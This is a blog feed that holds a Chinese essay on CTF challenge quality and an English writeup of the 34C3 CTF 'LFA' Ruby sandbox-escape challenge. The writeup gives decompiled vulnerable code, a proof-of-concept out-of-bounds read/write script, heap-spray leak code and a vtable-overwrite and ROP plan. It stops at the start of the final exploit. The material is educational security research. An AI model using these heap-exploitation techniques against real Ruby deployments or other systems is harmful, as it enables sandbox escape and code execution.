Jekyll2019-10-22T19:08:39+08:00http://a7um.github.io/feed.xmlAtumAtum's Blog'Atum怎样才能办好一场高质量的CTF比赛——赛题篇2019-06-01T00:00:00+08:002019-06-01T00:00:00+08:00http://a7um.github.io/2019/06/01/high-quality-ctf1<p>大家好,我是Atum,我们战队(<a href="https://r3kapig.com">r3kapig</a>)为刚刚结束DEFCON外卡赛之一的Baidu CTF提供了10道赛题(一共13道),并作为比赛的总裁判把控了比赛的赛制和部分规则以及比赛赛题质量。Baidu CTF 是一个新生的外卡赛,我们也做了一些尝试,比如让AEG战队和人类顶尖战队在比赛中同场PK。虽然在不断试新的过程中出现了不少小问题,但是在大家的共同努力下,我们还是贡献出了一场合格的外卡赛。今天,我想以这场比赛为契机,来谈一谈我个人对CTF比赛的一些理解。这是第一篇,希望后面不会咕咕咕。</p>
<p>在进入正题之前,我想问一个开放性问题:一场CTF应该考什么?
你可能会回答,PWN/RE/Crypto/WEB,这个回答很棒。</p>
<p>如果我进一步问,PWN应该考什么?
你的答案或许是各种各样的漏洞利用技术的熟练掌握,如house of orange, house of roman, fastbin attack, unsortedbin attack, tcache attack等等等等。</p>
<p>如果参与过比较接近实战的CTF比赛,你的答案也可能是各大主流平台的漏洞利用技术,如浏览器利用、虚拟机逃逸、内核提权等,考了这些,也就相当于填上了CTF跟实战之间的鸿沟。</p>
<p>不过,这些都不是我的答案。而且,我认为这个问题本身就问的略失偏颇。 所以接下来,我想逐渐从问题出发,介绍我现阶段对CTF的一些想法和观点。这些观点和想法并不一定是正确的,但是,我非常希望这些观点能够抛砖引玉,来促使大家一起去思考对这些问题看法。</p>
<h2 id="一场ctf应该考什么">一场CTF应该考什么</h2>
<p>我认为CTF不应该被定位为考试。众所周知,考试的主要目的是考察选手对知识的掌握和灵活应用。将CTF定义为考试也就意味着赛题大多数都是侧重于考察已有知识的掌握和灵活应用。然而,安全技术的发展是非常迅速的,对于安全研究而言,探索新的未知的挑战的能力更为重要。</p>
<p>不幸的是,现在国内的大多数比赛都将CTF定位为考试。赛题的考察的内容大多也都是已有知识的掌握,如我在开头中提到的这些各种各样的漏洞利用技术等。有的比赛甚至像考试那样全程电磁屏蔽,使得引导选手探索新的未知挑战成为了不可能(因为上不了网)。</p>
<p>因此,这个问题应该换一种问法:一场CTF比赛应该有怎样的赛题?</p>
<h2 id="一场ctf应该有怎样的赛题">一场CTF应该有怎样的赛题</h2>
<p>在回答这个问题之前,我首先要介绍一下我认为的CTF的赛题类型</p>
<ol>
<li>智障赛题:考察点为无意义的脑洞,或考察点太过于简单。</li>
<li>辣鸡赛题:考察点有难度却较为无聊。</li>
<li>初级赛题:主要考察对已有知识的掌握和灵活应用。</li>
<li>中级赛题:满足初级赛题的条件,但难度相对较高。</li>
<li>高级赛题:赛题的考察点对于绝大多数选手来说都是陌生且足够有趣。出题人通过对赛题进行精巧的设计,从而使得做题过程中可以一步一步被引导学习到出题人想要分享的有趣的idea和知识。高级赛题一般来说都比较有难度(毕竟要学很多新东西),却难的合情合理。</li>
<li>顶级赛题:满足高级赛题的条件,且赛题难度和步骤设置合理,能够及时的让做题人得到及时反馈和成就感。</li>
</ol>
<p>智障赛题的经典例子就是给一个带密码的zip包,题目描述说是弱口令,然后让大家去猜。这一类题目在比赛中已经越来越少了,这是一个很好的现象。</p>
<p>辣鸡赛题的例子之一就是某些混淆后的代码的逆向。如果一个混淆代码的逆向题只考察选手能否耗费巨量时间把带混淆的代码逆明白,那这个题就算辣鸡赛题。混淆代码的逆向题的正确姿势应该是通过设计特殊的带混淆赛题来分享一类新的混淆或去除混淆的方法。这一类赛题在一些自认为质量的CTF比赛中经常作为“高质量难题”出现。</p>
<p>初级赛题很好理解,就是考察对现有知识的掌握,如考察glibc堆中各式各样的<strong>知名</strong>利用技巧的使用。做题人只要熟练的掌握了这些技术,就能够无需google即可顺利的做出代码。</p>
<p>中级赛题可以说是初级赛题的加强版,但是题目仍无创新性。如通过增加一些限制来增加堆题的解题难度,但是仍然可以通过各样的<strong>知名</strong>利用技巧来绕过这些限制。我认为现在国内大多数CTF比赛中,初级赛题和中级赛题仍是主流。</p>
<p>高级赛题是属于国际赛中高质量赛题,一个例子便是是今年Defcon 27 Qualifier的Hotel Califonia,它的考察点是Intel 硬件特性TSX的使用。TSX对于大多数做题者都是陌生的,但是做题者拿到赛题之后却能够受到赛题的引导去学习Intel TSX的各种知识。不过我认为这道题目有一个考点对做题人不太友好:最后的利用trick(获取随机数)与TSX的跨度较大,从而可能会误导解题者的思路和解题方向。</p>
<p>顶级赛题不仅具有高级赛题的特点,且对做题人来说更为友好。如HITCON CTF 2017的babyfs。这道题引导选手去学习glibc File Object的内部机理,虽然难度很高,但是确实能够在做题的过程中不断的学到很多东西。当然,如果现在再出一道新的与babyfs类似的题目,那题目就会沦为初级赛题了。换句话说,现有的<strong>知名</strong>利用技巧在第一次出现的时候都可以被认为是高级赛题或顶级赛题,因为第一次出现就意味着其考察点对大多数选手都不熟悉,且选手在做题过程中会被出题人引导去学习新的东西。但是当这些利用技巧逐渐变得流行和广为人知,再出同样的赛题就无法起到引导做题者学习的效果了。</p>
<p>值得一提的是,现在real world赛题慢慢开始火了起来,且被认为是高质量赛题。我认为其中的一个很重要的原因便是real world攻防对于大多数做题者来说都是不熟悉且足够有趣的。如果未来有一天,大多数做题者都掌握了主流平台的主流利用技术,这时再出一道高质量的real world的赛题就会变得非常困难。</p>
<p>在介绍完这些之后,我就可以回答最初的问题了:一场CTF比赛应该有怎样的题目?</p>
<ol>
<li>如果这个比赛是面向新手玩家,如校赛,那我建议一初级赛题或中级赛题为主,因为对于新手而言,初级赛题和中级赛题已足以引导他们学习新的知识。</li>
<li>如果这个比赛是面向的既有经验丰富的战队又有在成长期的新星战队,且办赛质量要求不高时,可以平衡一下初级和中级赛题与高级和顶级赛题的比例,一方面是为了控制比赛难度,另一方面也是为了降低办赛成本。</li>
<li>如果这个比赛是面向国际顶级战队如DEFCON外卡赛,则建议以高级赛题和顶级赛题为主。</li>
<li>除非你想办一场比赛智障比赛和辣鸡比赛,否则我不建议在比赛中放入智障赛题和辣鸡赛题。</li>
</ol>
<p>(未完待续,希望不鸽)</p>Atum大家好,我是Atum,我们战队(r3kapig)为刚刚结束DEFCON外卡赛之一的Baidu CTF提供了10道赛题(一共13道),并作为比赛的总裁判把控了比赛的赛制和部分规则以及比赛赛题质量。Baidu CTF 是一个新生的外卡赛,我们也做了一些尝试,比如让AEG战队和人类顶尖战队在比赛中同场PK。虽然在不断试新的过程中出现了不少小问题,但是在大家的共同努力下,我们还是贡献出了一场合格的外卡赛。今天,我想以这场比赛为契机,来谈一谈我个人对CTF比赛的一些理解。这是第一篇,希望后面不会咕咕咕。Fengshui and Xuanxue, 34C3CTF LFA Writeup2017-12-31T00:00:00+08:002017-12-31T00:00:00+08:00http://a7um.github.io/2017/12/31/LFA<h2 id="before-the-context">Before the context</h2>
<p>Several days ago, somebody sent me a message and ask me to post more CTF writeups. Usually I will post writeup when I met a very interesting challenge or a challenge make me learn a lot. 34c3ctf is a fantastic CTF event, I played as a tea develiver of Team Tea Develivers, and got a lot of fun from it. <strong>Many thanks to ESPR for making these interesting challenges.</strong></p>
<h2 id="the-challenge">The challenge</h2>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Name: LFA
Points: 401
Solves: 5
Writing a ruby extension was fun. Check the readme for further instructions.
Files: https://34c3ctf.ccc.ac/uploads/lfa-1f69fc07cca7f44471899829d07eaa22.tar.gz
Difficulty: medium
Connect: nc 35.198.184.75 1337
</code></pre></div></div>
<p>This challenge is a ruby vm escape challenge,with a ruby C extension named LFA.so, which implements a ‘safe’ array(i.e. array with boundary check and dynamics length). This is my first time to play with a ruby vm escape challenge. I solved this challenge even if I am very unfamiliar with ruby and ruby vm, which is very fascinating for me.</p>
<p>Beside the LFA.so itself, there are some other files in the challenge packet.</p>
<p><strong>README.txt</strong></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The server runs on ubuntu/latest
to build the same version of ruby do the following steps:
git clone https://github.com/ruby/ruby.git
cd ruby
git checkout a5ec07c73fb667378ed617da6031381ee2d832b0
git apply ../sandbox_patch
autoconf
./configure
make install
mv LFA.so /usr/local/lib/ruby/site_ruby/2.4.0/x86_64-linux/LFA.so
then check that ruby 'sample.rb' runs properly (if you have ruby pre-installed on the machine check that you are running the right version of ruby)
</code></pre></div></div>
<p><strong>sample.rb</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'LFA'</span>
<span class="vg">$arr</span> <span class="o">=</span> <span class="no">LFA</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$arr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">11</span>
<span class="vg">$arr</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mi">11</span>
<span class="vg">$arr</span><span class="p">[</span><span class="mi">15000</span><span class="p">]</span> <span class="o">=</span> <span class="mi">11</span>
<span class="nb">puts</span> <span class="vg">$arr</span><span class="p">.</span><span class="nf">sum</span>
</code></pre></div></div>
<p><strong>server.py</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="kn">import</span> <span class="nn">tempfile</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">randstr</span><span class="p">():</span>
<span class="k">return</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_lowercase</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">))</span>
<span class="n">code</span> <span class="o">=</span> <span class="s">"require 'LFA'</span><span class="se">\n</span><span class="s">"</span>
<span class="n">code</span> <span class="o">+=</span> <span class="s">"syscall 1, 1, </span><span class="se">\"</span><span class="s">hello</span><span class="se">\\</span><span class="s">n</span><span class="se">\"</span><span class="s">, 6</span><span class="se">\n\n</span><span class="s">"</span>
<span class="nb">max</span> <span class="o">=</span> <span class="mi">600</span> <span class="c1"># 600 linex should be more than enough ;)
</span>
<span class="k">print</span> <span class="s">"Enter your code, enter the string END_OF_PWN to finish "</span>
<span class="k">while</span> <span class="nb">max</span><span class="p">:</span>
<span class="n">new_code</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">"code> "</span><span class="p">)</span>
<span class="k">if</span> <span class="n">new_code</span> <span class="o">==</span> <span class="s">"END_OF_PWN"</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">code</span> <span class="o">+=</span> <span class="n">new_code</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span>
<span class="nb">max</span> <span class="o">-=</span> <span class="mi">1</span>
<span class="n">name</span> <span class="o">=</span> <span class="s">"/tmp/</span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="n">randstr</span><span class="p">()</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">"w+"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"flag"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="mi">1023</span><span class="p">)</span>
<span class="n">flag</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">"timeout 40 ruby </span><span class="si">%</span><span class="s">s"</span> <span class="o">%</span> <span class="n">name</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
</code></pre></div></div>
<p><strong>sandbox.patch</strong>(truncated)</p>
<pre><code class="language-C">diff --git a/io.c b/io.c
index ee3ea3e68a..f53b4190cc 100644
--- a/io.c
+++ b/io.c
@@ -9388,6 +9388,419 @@ rb_io_fcntl(int argc, VALUE *argv, VALUE io)
#define rb_io_fcntl rb_f_notimplement
#endif
+ struct sock_filter filter[] = {
+ VALIDATE_ARCHITECTURE,
+ LOAD_SYSCALL_NR,
+ SECCOMP_SYSCALL(__NR_exit, ALLOW),
+ SECCOMP_SYSCALL(__NR_exit_group, ALLOW),
+ SECCOMP_SYSCALL(__NR_brk, ALLOW),
+ SECCOMP_SYSCALL(__NR_mmap, JUMP(&l, mmap)),
+ SECCOMP_SYSCALL(__NR_munmap, ALLOW),
+ SECCOMP_SYSCALL(__NR_mremap, ALLOW),
+ SECCOMP_SYSCALL(__NR_readv, ALLOW),
+ SECCOMP_SYSCALL(__NR_futex, ALLOW),
+ SECCOMP_SYSCALL(__NR_close, ALLOW),
+ SECCOMP_SYSCALL(__NR_write, JUMP(&l, write)),
+ SECCOMP_SYSCALL(__NR_rt_sigaction, ALLOW),
+ DENY,
+
+ LABEL(&l, mmap),
+ ARG(0),
+ JNE(0, DENY),
+ ARG(2),
+ JNE(PROT_READ|PROT_WRITE, DENY),
+ ARG(3),
+ JNE(MAP_PRIVATE|MAP_ANONYMOUS, DENY),
+ ARG(4),
+ JNE(-1, DENY),
+ ARG(5),
+ JNE(0, DENY),
+ ALLOW,
+
+ LABEL(&l, write),
+ ARG(0),
+ JEQ(STDOUT_FILENO, ALLOW),
+ JEQ(STDERR_FILENO, ALLOW),
+ DENY,
+ };
+ struct sock_fprog prog = {
+ .filter = filter,
+ .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
+ };
+ bpf_resolve_jumps(&l, filter, sizeof(filter)/sizeof(*filter));
+
+ if (syscall(__NR_prctl, PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
+ err(1, "prctl(NO_NEW_PRIVS)");
+ }
+
+ if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
+ err(1, "prctl(SECCOMP)");
+ }
+}
</code></pre>
<p>Let’s review these files one by one, <strong>README.md</strong> tells us how to build the challenge environment (i.e.build the patched ruby and enable the extension ). <strong>sample.rb</strong> is a simple ruby script to check whether the extension is enabled properly. <strong>server.py</strong> is the service running remotely. It receives a ruby script, opens the flag and dup the fd to 1023, then run the script. <strong>sandbox path</strong> is a patch to ruby source. Obviously, this patch enables a seccomp sandbox and disables the rb_io_fcntl, which is used for preventing you get flag by ruby script directly.</p>
<p><strong>rule of seccomp sandbox</strong></p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allowed system call
__NR_exit
__NR_exit_group
__NR_brk
__NR_mmap
__NR_munmap
__NR_mremap
__NR_readv
__NR_futex
__NR_close
__NR_write
__NR_rt_sigaction
for mmap
arg0=0 arg1=PROT_READ|PROT_WRITE arg2=MAP_PRIVATE|MAP_ANONYMOUS arg3=-1 arg4=0
for write
arg0=STDOUT_FILENO or STDERR_FILENO
</code></pre></div></div>
<p>Seems like we need to read flag from fd 1023 and write to stdout. To achieve this goal, we may have to find vulnerabilities in LFA.so and exploit the ruby virtual machine.</p>
<h2 id="the-vulneriblity">The Vulneriblity</h2>
<p>The LFA.so implements a ruby ‘safe’ array with some basic operation(get,set,remove,sum).</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__int64 Init_LFA()
{
module = rb_define_class(&unk_1175, rb_cObject);
rb_define_alloc_func(module, (__int64)sub_B70);
rb_define_method(module, (__int64)"initialize", (__int64)initialize, 0LL);
rb_define_method(module, (__int64)"[]", (__int64)getvalue, 1LL);
rb_define_method(module, (__int64)"[]=", (__int64)setvalue, 2LL);
rb_define_method(module, (__int64)"remove", (__int64)remove, 1LL);
return rb_define_method(module, (__int64)"sum", (__int64)sum, 0LL);
}
</code></pre></div></div>
<p>The data structure is like this:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000 RARRAY struc ; (sizeof=0x50, align=0x8, mappedto_15)
00000000 size dd ?
00000004 small_array_flag dd ?
00000008 p_to_buffer BUF_POINTER ?
00000010 buffer dd 16 dup(?)
00000050 RARRAY ends
00000000 RARRAY_CHUNK struc ; (sizeof=0x50, mappedto_16)
00000000 startidx dd ?
00000004 inuse_bitmap dd ?
00000008 next dq ? ; offset
00000010 buffer dd 16 dup(?)
00000050 RARRAY_CHUNK ends
</code></pre></div></div>
<p>for the small array(size <= 0x10), the buffer of the array resided inside of the RARRAY structure. for the non small array, the buffer of the array resides in the RARRAY_CHUNK structure, each RARRAY_CHUNK contains a 0x10*sizeof(int) length buffer, RARRAY_CHUNK organized by single link list formed the buffer of arbitrary length array.</p>
<p>The get,set,sum operations implement properly, but the remove operation is vulnerable .</p>
<pre><code class="language-C">signed __int64 __fastcall remove(void* array_rboj, void* index_rbobj){
....
rarray = rb_check_typeddata(array_rboj, &off_201DC0);
if ( rarray->size <= idx )
return 0LL;
if ( rarray->small_array_flag )
return 0LL;
first_chunk = rarray->p_to_buffer;
cur_chunk = rarray->p_to_buffer;
if ( !first_chunk )
return 0LL;
while ( 1 )
{
startidx = cur_chunk->startidx;
if ( idx >= cur_chunk->startidx && idx <= startidx + 15 )
break;
cur_chunk = cur_chunk->next;
if ( !cur_chunk )
return 0LL;
}
bitmap = cur_chunk->inuse_bitmap;
bit = 1 << (idx - startidx);
if ( !(bitmap & bit) )
return 0LL;
new_bitmap = bitmap & ~bit;
cur_chunk->inuse_bitmap = new_bitmap;
if ( !new_bitmap )
{
if ( first_chunk->inuse_bitmap )
{
for ( _cur_chunk = first_chunk; ; _cur_chunk = _cur_chunk->next )
{
next_chunk = _cur_chunk->next;
if ( !next_chunk || !next_chunk->inuse_bitmap )
break;
}
_cur_chunk->next = next_chunk->next;
}
else
{
first_chunk = first_chunk->next;
rarray->p_to_buffer = first_chunk;
}
if ( !first_chunk->next && !first_chunk->startidx )
{
chunk_direct = first_chunk->buffer;
i = 16LL;
rarray->p_to_buffer = rarray->buffer;
data_ptr = rarray->buffer;
while ( i )
{
*data_ptr = *chunk_direct;
++chunk_direct;
++data_ptr;
--i;
}
rarray->small_array_flag = 1;
}
}
....
}
</code></pre>
<p>When the remove operation makes the inuse bitmap of CHUNK set to zero(i.e. the CHUNK didn’t contain any data in use), the chunk will be free, and the size field of RARRAY structure remains unchanged. this is OK because when you access a non-small array with index, if the corresponded chunk is not exist, it will be allocated .(see the code below)</p>
<p>If there is only one chunk remains after free, the last chunk will be freed too and all the data in the last chunk will be moved to the buffer inside the RARRY structure and the is_small_array flag will be set. the size field of RARRAY structure remains unchanged too. this is vulnerable because when you access a small array with index, a simple boundary check index<=size is performed, if index<=size is true, then the access(r/w) of array[index] would be permitted.(see the code below)</p>
<pre><code class="language-C">signed __int64 __fastcall getvalue(void* array_rboj, void* index_rbobj){
...
rarray = rb_check_typeddata(array_rboj, &off_201DC0);
if ( rarray->size > idx )
{
chunk = rarray->p_to_buffer;
if ( rarray->small_array_flag )
return 2LL * *(chunk + idx) + 1;
while ( chunk )
{
_startidx = chunk->startidx;
if ( idx >= chunk->startidx && idx <= _startidx + 15 )
{
if ( !((1 << (idx - _startidx)) & chunk->inuse_bitmap) )
return 8LL;
return 2LL * chunk->buffer[(idx - _startidx)] + 1;
}
chunk = chunk->next;
}
}
...
}
signed __int64 __fastcall setvalue(void* array_rboj, void* index_rbobj, void* value_rbobj){
...
rarray = rb_check_typeddata(array_rboj, &off_201DC0);
if ( rarray->small_array_flag )
{
if ( rarray->size <= _index )
{
rarray->small_array_flag = 0;
rarray->size = _index + 1;
chunk = ruby_xmalloc(0x50LL);
chunk->startidx = 0;
chunk->next = 0LL;
chunk->inuse_bitmap = 0xFFFF;
cur = chunk;
*chunk->buffer = 0LL;
*&chunk->buffer[4] = 0LL;
*&chunk->buffer[8] = 0LL;
*&chunk->buffer[12] = 0LL;
chunk_internal = rarray->p_to_buffer;
*chunk->buffer = _mm_loadu_si128(chunk_internal);
*&chunk->buffer[4] = _mm_loadu_si128(&chunk_internal[2]);
*&chunk->buffer[8] = _mm_loadu_si128(&chunk_internal[4]);
*&chunk->buffer[12] = _mm_loadu_si128(&chunk_internal[6]);
rarray->p_to_buffer = chunk;
goto LABEL_25;
}
result = 20LL;
*(rarray->p_to_buffer + 4 * _index) = _value;
}
else
{
if ( _index >= rarray->size )
rarray->size = _index + 1;
cur = rarray->p_to_buffer;
if ( !cur )
{
v17 = ruby_xmalloc(80LL);
v18 = &v17->buffer[1];
v17->startidx = _index;
v17->next = 0LL;
*&v17->buffer[1] = 0LL;
*(v18 + 6) = 0LL;
v18[14] = 0;
*(v18 + 1) = 0LL;
*(v18 + 2) = 0LL;
v17->buffer[0] = _value;
v17->inuse_bitmap = 1;
*&maxchunk = v17;
BUG();
}
LABEL_25:
while ( 1 )
{
startidx = cur->startidx;
if ( _index >= cur->startidx && _index <= startidx + 15 )
break;
if ( !cur->next )
{
new_chunk = ruby_xmalloc(0x50LL);
new_chunk->startidx = _index;
new_chunk->next = 0LL;
*&new_chunk->buffer[13] = 0LL;
new_chunk->buffer[15] = 0;
new_chunk->buffer[0] = _value;
*&new_chunk->buffer[1] = 0LL;
new_chunk->inuse_bitmap = 1;
*&new_chunk->buffer[5] = 0LL;
*&new_chunk->buffer[9] = 0LL;
cur->next = new_chunk;
return 20LL;
}
cur = cur->next;
}
cur->buffer[(_index - startidx)] = _value;
cur->inuse_bitmap |= 1 << (_index - startidx);
result = 20LL;
}
return result;
}
</code></pre>
<p>To trigger the vunleriblity, we first access the array with a large index(to make size==index), then, we trigger the free of chunks by remove operation. finaly, we get an array with size equal to the large index, but the real size is 0x10. we get a heap Out Of bound Access(OOA). the poc is like this</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'LFA'</span>
<span class="vg">$ooa_size</span><span class="o">=</span><span class="mh">0x50000</span>
<span class="vg">$arr</span> <span class="o">=</span> <span class="no">LFA</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$arr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x12345678</span>
<span class="vg">$arr</span><span class="p">[</span><span class="vg">$ooa_size</span><span class="p">]</span> <span class="o">=</span> <span class="mi">11</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><=</span><span class="vg">$ooa_size</span> <span class="k">do</span>
<span class="vg">$arr</span><span class="p">.</span><span class="nf">remove</span> <span class="n">i</span>
<span class="n">i</span><span class="o">+=</span><span class="mh">0x10</span>
<span class="k">end</span>
<span class="nb">puts</span> <span class="vg">$arr</span><span class="p">[</span><span class="mh">0x40000</span><span class="p">]</span> <span class="c1">#OOR</span>
<span class="vg">$arr</span><span class="p">[</span><span class="mh">0x40000</span><span class="p">]</span><span class="o">=</span><span class="mh">0xc0de</span> <span class="c1">#OOW</span>
</code></pre></div></div>
<h2 id="exploit">Exploit</h2>
<p>With the OOA vulnerability above, the next thing to do in standard approach is to create two LFA. and use the OOA vulnerability of first LFA to overwrite the p2buffer pointer field of the second LFA to 0 and size field to 0xffffffffffffffff. after that, we can use the second LFA to achieve full address space access.</p>
<p>After we get full address space access, it is not hard to get the flag. but I am not going to follow the standard way, because it’s nothing to do with ruby. I want to play in a different way: play with the fucking ruby heap and the fucking garbage collector, which is full of fengshui and xuanxue for me. I never exploit ruby vm before and I want to play with it.</p>
<h3 id="leak">LEAK</h3>
<p>with the OOA capacity, LEAK is quite easy. Note that, as the result of the presence of the garbage collector, the heap layout is not stable, so we cannot achieve a stable leak by read arr[fixed index].</p>
<p>To get rid of the unstable heap layout and leak heap address, First, we need to spray lots of strings on heap, then we use the Out Of bound Read(OOR) to find the buffer of string we sprayed by some feature of the ruby string structure and heap address.(heap address start with 0x55 and there is a size field ahead of buffer).
To leak the libc address, we use a similar way, using the OOR to find the main arena address by the features of the main arena address(main arena start with 0x7f and end with 0xc78)</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$spray_size=0x3000
i=0
spray_arr=Array.new($spray_size)
payload_size=0x1004
while i<=$spray_size do
spray_arr[i]="O"*payload_size
i+=1
end
i=0
$idx=0
while i<$ooa_size do
if touint($arr[i+1])&0xff00 == 0x7f00 and touint($arr[i])&0xfff == 0xc78
$libcaddr=touint($arr[i+1])<<32
$libcaddr+=touint($arr[i])
$libcaddr-=(0x3c4c78+0x16000)
end
if touint($arr[i+1])&0xff00 == 0x5500 and touint($arr[i+2]) == payload_size
$heapaddr=touint($arr[i+1])<<32
$heapaddr+=touint($arr[i])
end
if touint($arr[i+2])==0xae57 and $idx==0
$idx=i
end
i+=2
end
if not $heapaddr
puts "[-]leak heap failed"
exit
end
puts "[+]heap addr = 0x"+$heapaddr.to_s(16)
if not $libcaddr
puts "[-]leak libc base failed"
exit
end
puts "[+]libc base = 0x"+$libcaddr.to_s(16)
if $idx==0
puts "[-] find idx failed"
exit
end
</code></pre></div></div>
<h3 id="control-the-pc">Control The PC</h3>
<p>After we leaked heap address and libc address, it’s time to try to control PC, I really don’t know which address or which pointer on heap should I overwrite to hijack control flow, so I tried to achieve this using a very xuanxue way:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>i=0
j=0
payload="A"*4*$ooa_size
while i<$ooa_size do
payload_u=u64(payload[j,j+8])
$arr[i]=toint(payload_u&0xffffffff)
$arr[i+1]=toint(payload_u>>32)
i=i+2
j=j+8
end
</code></pre></div></div>
<p>the code above will make the ruby process crash since we are performing a wayward Out Of bound Write(OOW) on the heap. by varying the initial value of i, we will get several unique crash. some are because heap metadata corruption, some are because the dereference of invalid address, but there are some crashes due to an invalid PC, for example, jmp to 0x4141414141414141. it means we successfully find a way to control PC just by a wayward heap OOW! CCCCCool!, isn’t it?</p>
<p>I choose one of the invalid PC crash to figure out why it crash here. It comes out to some interesting conclusion: the crash is due to we overwrite a function pointer named rb_gvar_val_setter. This function pointer will be used as rax in the later jmp rax instruction, It seems like this function implements the assignment operation of ruby? I don’t know, and it’s not important.</p>
<p>The next thing is to find a unique feature of this function pointer so we can find the pointer and overwrite it, after some analysis, we found out some useful information of that function pointer(see code below), rb_gvar_val_setter is inside in a vtable, and the pointer of the vtable resides in a structure and just before a field with a constant value 0xae57, It seems like 0xae57 is a type value of ruby object? I don’t know, and it’s not important.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>structure:
...
vtable
0xae57
...
vtable:
...
rb_gvar_val_getter
rb_gvar_val_setter
...
</code></pre></div></div>
<p>So to achieve a relatively stable pc controlling, we need to use the OOR to find the constant value 0xae57, and then use the OOW to overwrite the vtable to a faked vtable. sounds good!</p>
<p>but there is still a problem remains to solve, to fake vtable, we need a block of memory with known address and controllable content, this is not hard to achieve with the capacity of full address space access. but I don’t want to use that capacity. as I state above, I want to solve this challenge by some fengshui or xuanxue way, so I choose to use heap spray again.</p>
<p>Note that we have already leak a heap address at leak stage and the content of this memory is “O”*payload size which is under our control. This buffer is a block of memory we want. But in some cases, we need to change the content of the buffer, for example, put some content that rely on the address of the buffer.</p>
<p>We achieve this by following code, first we set the spray arr to a new array. this operation will trigger the garbage collector to free all the strings we sprayed before, we sleep one second to wait the garbage collector finished, and then sprayed the string again with the content we want. the content of leaked heap address will be changed to the value we want. This trick is similar as UAF. CCCCCool again, isn’t it? I like fengshui, haha.</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">spray_arr</span><span class="o">=</span><span class="no">Array</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="vg">$spray_size</span><span class="p">)</span>
<span class="nb">sleep</span> <span class="mi">1</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><=</span><span class="vg">$spray_size</span> <span class="k">do</span>
<span class="n">payload</span><span class="o">=</span><span class="p">[</span><span class="n">content</span> <span class="n">we</span> <span class="n">want</span><span class="p">]</span>
<span class="n">spray_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">payload</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">end</span>
</code></pre></div></div>
<p>now, the only thing we need to figure out is what to do after we are able to control the PC. since we need to read flag from 2003 and write flag to stdout, it’s not bad to pivot the stack and ROP.</p>
<p>The detail of stack pivot is trivial, actually we have several ways to achieve this. I choose to pivot the rsp to the heap buffer we leaked before, and spray the ROP chains and fake vtable in the previous step. now, everything is clear, just write a wrapper to send the exp to the remote. and we will get the flag.</p>
<h2 id="final-exploit">Final Exploit</h2>
<p><strong>sample.rb0</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">touint</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="n">value</span><span class="o"><</span><span class="mi">0</span>
<span class="k">return</span> <span class="p">(</span><span class="mh">0xffffffff</span><span class="o">+</span><span class="n">value</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
<span class="k">end</span>
